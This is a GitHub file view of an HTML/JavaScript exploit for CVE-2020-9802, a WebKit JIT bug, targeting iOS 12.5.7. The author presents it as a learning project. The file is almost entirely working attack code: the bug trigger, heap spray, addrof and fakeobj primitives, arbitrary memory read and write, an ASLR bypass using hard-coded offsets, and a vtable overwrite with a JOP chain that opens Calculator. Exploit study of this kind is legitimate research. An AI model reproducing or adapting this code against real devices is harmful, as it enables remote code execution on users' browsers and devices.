-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.html
More file actions
442 lines (340 loc) · 18.2 KB
/
Copy pathexploit.html
File metadata and controls
442 lines (340 loc) · 18.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
<!--
exploit for CVE-2020-9802
original writeup -> https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html
This is an exploit for a JIT bug that i wanted to implement myself to learn about browser exploitation
on iOS. There's nothing new here, but maybe it'll be useful to you.
- this implementation is built specifically for iPod7,1 iOS 12.5.7, and uses hard-coded offsets
- we get code execution by replacing a vtable pointer (no PAC on this device)
- we jump to a short ROP chain to launch the calculator app
- video walkthrough -> https://www.youtube.com/watch?v=o6mVgygo-hk&t=34s
thanks,
~ @bellis1000
zygosec.com
-->
<html>
<head>
<script>
// Struct functions from https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/utils.js
// Simplified version of the similarly named python module.
let Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
let buffer = new ArrayBuffer(8);
let byteView = new Uint8Array(buffer);
let uint32View = new Uint32Array(buffer);
let float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
let view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
let view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
// my own helpers
function floatToHex(f) {
const buffer = new ArrayBuffer(8); // 64-bit float
const view = new DataView(buffer);
view.setFloat64(0, f); // store the float at offset 0
// Convert the 8 bytes to hex
let hex = '';
for (let i = 0; i < 8; i++) {
let byte = view.getUint8(i);
hex += byte.toString(16).padStart(2, '0');
}
return hex;
}
function hexToFloat(hex) {
if (hex.length !== 16) {
log('[!] hex string does not have 16 chars');
}
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
for (let i = 0; i < 8; i++) {
const byte = parseInt(hex.slice(i * 2, i * 2 + 2), 16);
view.setUint8(i, byte);
}
return view.getFloat64(0);
}
function floatToDecimal(f) {
const buffer = new ArrayBuffer(8); // 64-bit float
const view = new DataView(buffer);
view.setFloat64(0, f); // store the float at offset 0
let low = view.getUint32(0, false); // big endian: high part at offset 0
let high = view.getUint32(4, false); // low part at offset 4
return ((high << 32) | low);
}
function decimalToFloat(d) {
const hexHigh = d & 0xffffffff; // high 32 bits
const hexLow = (d >> 32) & 0xffffffff; // low 32 bits
// Create 8-byte buffer
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
// Write high and low 32 bits
view.setUint32(0, hexLow, false); // big endian: high part at offset 0
view.setUint32(4, hexHigh, false); // low part at offset 4
// Read as float64
const float = view.getFloat64(0, false);
return float;
}
function subtractFromFloat64Bits(floatVal, offset) {
const buffer = new ArrayBuffer(8); // 8 bytes for Float64
const view = new DataView(buffer);
// Store the float into the buffer (little-endian)
view.setFloat64(0, floatVal, true);
// Get low and high 32-bit words
let low = view.getUint32(0, true); // lower 4 bytes
let high = view.getUint32(4, true); // upper 4 bytes
// Subtract offset from low word
if (low < offset) {
// Borrow from high
high -= 1;
low = (0x100000000 + low) - offset;
} else {
low -= offset;
}
// Wrap to 32-bit unsigned integers
low = low >>> 0;
high = high >>> 0;
// Write back the modified words
view.setUint32(0, low, true);
view.setUint32(4, high, true);
// Read the modified float
return view.getFloat64(0, true);
}
function addToFloat64Bits(floatVal, offset) {
const buffer = new ArrayBuffer(8); // 8 bytes for Float64
const view = new DataView(buffer);
// Store the float into the buffer
view.setFloat64(0, floatVal, true); // little-endian
// Get low and high 32-bit words
let low = view.getUint32(0, true); // lower 4 bytes
let high = view.getUint32(4, true); // upper 4 bytes
// Add offset to low word
low += offset;
// Handle overflow into high word
if (low > 0xFFFFFFFF) {
low = low >>> 0; // force 32-bit wraparound
high += 1;
}
// Write back the modified words
view.setUint32(0, low, true);
view.setUint32(4, high, true);
// Read the modified float
return view.getFloat64(0, true);
}
function log(string) {
document.getElementById('status').innerHTML += '<p style="margin: 0; font-family: Menlo; word-break: break-all; font-size: 30px; text-align: left">' + string + '</p>';
}
// the actual exploit
const ITERATIONS = 1000000;
// this is the bug trigger: CVE-2020-9802
function hax(arr, n) {
n &= 0xffffffff;
if (n < -1) {
let v = (-n)&0xffffffff;
let i = Math.abs(n);
if (i < arr.length) {
if (i & 0x80000000) {
i += -0x7ffffff9;
}
if (i > 0) {
arr[i] = 1.04380972981885e-310;
}
}
}
}
function prep_primitives() {
let noCoW = 13.37;
// Fill any existing holes in the heap.
let spray = [];
for (let i = 0; i < 10000; i++) {
let arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
spray.push(arr);
}
let target = [noCoW, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7];
let float_arr = [noCoW, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7];
let obj_arr = [{}, {}, {}, {}, {}, {}, {}];
for (let i = 0; i < ITERATIONS; i++) {
let isLastIteration = i == ITERATIONS - 1;
let n = -(i % 10);
if (isLastIteration) {
n = -2147483648;
}
hax(target, n);
}
log('[+] float_arr JSArray len is 0x' + float_arr.length.toString(16));
// (OOB) index into float_arr that overlaps with the first element
// of obj_arr.
const OVERLAP_IDX = 8;
function addrof(obj) {
obj_arr[0] = obj;
return float_arr[OVERLAP_IDX];
}
function fakeobj(addr) {
float_arr[OVERLAP_IDX] = addr;
return obj_arr[0];
}
log('[+] addrof target is 0x' + floatToHex(addrof(target)));
log('[+] addrof float_arr is 0x' + floatToHex(addrof(float_arr)));
log('[+] addrof obj_arr is 0x' + floatToHex(addrof(obj_arr)));
log('[+] addrof hax is 0x' + floatToHex(addrof(hax)));
return [addrof, fakeobj];
}
function poc() {
let [addrof, fakeobj] = prep_primitives();
// Create a legit, non-CoW float array to copy a JSCell header from.
let float_arr = [Math.random(), 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
// Now fake a JSArray whose butterfly points to an unboxed double JSArray.
let jscell_header = new Uint8Array(
[
0x0, 0x10, 0x0, 0x0, // structure id
0x7, // m_indexingType (ArrayWithDouble)
0x23, 0x8, 0x1,
]
);
let container = {
jscell_header: Struct.unpack(Struct.float64, jscell_header),
butterfly: float_arr, // backing storage points to a real JSArray
};
let container_addr = addrof(container);
log('[+] container_addr is 0x' + floatToHex(container_addr));
let float_arr_addr = addToFloat64Bits(container_addr, 0x10);
log('[+] float_arr member is 0x' + floatToHex(float_arr_addr));
// now fake an object from our container
let fake_arr = fakeobj(float_arr_addr);
log('[+] addrof fake_arr 0x' + floatToHex(addrof(fake_arr)));
// Can now simply read a legitimate JSCell header and use it.
// However, the op_get_by_val will cache the last seen structure id
// and use that e.g. during GC. To avoid crashing at that point,
// // we simply execute the op_get_by_val twice.
let legit_arr = float_arr;
let results = [];
for (let i = 0; i < 2; i++) {
let a = i == 0 ? fake_arr : legit_arr;
results.push(a[0]);
}
// read an index quickly, bypassing structure id requirement in this case
jscell_header = fake_arr[0]; // fake_arr[0] reads the first 64-bits from the float_arr object
// this gives us a valid structure id for future use
log('[+] leaked struct id 0x' + floatToHex(jscell_header));
container.jscell_header = jscell_header; // we assign those bits to our fake container, now it has a valid structure id
log('[+] r/w primitives established');
// arb r/w functions, thanks @saelo
let controller = fake_arr;
let memarr = float_arr;
function read64(addr) {
let oldval = controller[1];
let value;
let i = 0;
do {
controller[1] = addr;
value = memarr[i];
addr = subtractFromFloat64Bits(addr, 8);
i+=1;
} while (value === undefined);
controller[1] = oldval;
return value;
}
function write64(addr, data) {
let oldval = controller[1];
let value;
let i = 0;
do {
controller[1] = addr;
value = memarr[i];
addr = subtractFromFloat64Bits(addr, 8);
i+=1;
} while (value === undefined);
// set the value
memarr[i-1] = data;
controller[1] = oldval;
}
// aslr bypass
let funcAddr = addrof(Math.exp);
log('[+] Math.exp is @ 0x' + floatToHex(funcAddr));
let executableAddr = read64(addToFloat64Bits(funcAddr, 24));
log("[+] Executable instance @ 0x" + floatToHex(executableAddr));
let textPtr = read64(addToFloat64Bits(executableAddr, 56));
log("[+] textPtr @ 0x" + floatToHex(textPtr));
let jsc_base = subtractFromFloat64Bits(textPtr, 0xA49660); // to get to JSC base
log("[+] jsc_base @ 0x" + floatToHex(jsc_base));
let STATIC_JSC_BASE = 0x18805d000; // static iPod 6 iOS 12.4.7
let aslr_slide = subtractFromFloat64Bits(jsc_base, STATIC_JSC_BASE);
log("[+] dyld aslr slide is 0x" + floatToHex(aslr_slide));
// prepare code execution
// this div element is backed by a WebCore C++ object
// which we'll later abuse
let div_object = document.createElement('div');
log('[+] created div');
let div_addr = addrof(div_object);
log('[+] div_object @ 0x' + floatToHex(div_addr));
let next_addr = read64(addToFloat64Bits(div_addr, 0x18)); // the `this` object that the vtable method gets called on
log('[+] cpp object is @ 0x' + floatToHex(next_addr)); // WebCore::HTMLDivElement cpp object
var vtab_addr = read64(next_addr); // WebCore`vtable for WebCore::HTMLDivElement
log('[+] vtab_addr is @ 0x' + floatToHex(vtab_addr));
// prep some JOP stuff
let gadget_2 = 0x1898A3AC4;
// WebCore:__text:00000001898A3AC4 LDR X0, [X0,#0x10]
// WebCore:__text:00000001898A3AC8 ADRL X8, __ZN3PAL49softLinkCoreMediaCMSampleBufferGetTotalSampleSizeE ; PAL::softLinkCoreMediaCMSampleBufferGetTotalSampleSize
// WebCore:__text:00000001898A3AD0 LDR X1, [X8] ; PAL::initCoreMediaCMSampleBufferGetTotalSampleSize(opaqueCMSampleBuffer *)
// WebCore:__text:00000001898A3AD0 ; PAL::softLinkCoreMediaCMSampleBufferGetTotalSampleSize
// WebCore:__text:00000001898A3AD4 BR X1
let slid_gadget_2 = addToFloat64Bits(hexToFloat(gadget_2.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
log('[+] slid_gadget_2 @ 0x' + floatToHex(slid_gadget_2));
let webcore_data = 0x1B7AA4BD0;
let slid_webcore_data = addToFloat64Bits(hexToFloat(webcore_data.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
// we want to call SBSLaunchApplicationWithIdentifer, which opens an app of our choosing
//
// there's a nice gadget in the shared cache that nulls the 2nd arg and jumps to it
//
// (you also need entitlement com.apple.springboard.launchapplications for this to work, so of course i cheated
// a slight bit and gave it to the WebContent process lol. but who cares, this project was about learning
// browser exploitation for me, not about executing a real postexp / chaining anything)
// thanks to ProjectZero -> https://googleprojectzero.blogspot.com/2020/12/an-ios-zero-click-radio-proximity.html
//
// CommunicationsSetupUI:__text:000000019B60E498 MOV W1, #0
// CommunicationsSetupUI:__text:000000019B60E49C BL 0x197B37AE8
let tramp_sblaunchapp = 0x19B60E498;
let slid_tramp_sblaunchapp = addToFloat64Bits(hexToFloat(tramp_sblaunchapp.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
write64(slid_webcore_data, slid_tramp_sblaunchapp);
// there's already a nice cfstring with the calculator bundle id in dyld shared cache
// no need to construct our own
//
// CoreFoundation:__cfstring:00000001B03C7838 cfstr_ComAppleCalcul __CFString <_OBJC_CLASS_$___NSCFConstantString, 0x7C8, \
let static_calc = 0x1B03C7838;
let calculator_str = addToFloat64Bits(hexToFloat(static_calc.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
write64(addToFloat64Bits(next_addr, 0x10), calculator_str);
write64(addToFloat64Bits(vtab_addr, 0x18), slid_gadget_2);
write64(addToFloat64Bits(vtab_addr, 0x20), slid_gadget_2);
write64(addToFloat64Bits(vtab_addr, 0x28), decimalToFloat(0x4444444444));
write64(addToFloat64Bits(vtab_addr, 0x30), decimalToFloat(0x4545454545));
write64(addToFloat64Bits(vtab_addr, 0x38), decimalToFloat(0x4646464646));
write64(addToFloat64Bits(vtab_addr, 0x40), decimalToFloat(0x4747477474));
// trigger pc control, invoking a vtable method on WebCore::HTMLDivElement
// (comment out this line to see the logs in the browser)
div_object.addEventListener("click", function(){ });
}
</script>
</head>
<body>
<center>
<br></br>
<button style="background:none; border: none; font-size: 100px; text-decoration: none; font-family: Helvetica" onclick="poc()">do exploit</button>
<br></br>
<br></br>
<div id="status">
</div>
</center>
</body>
</html>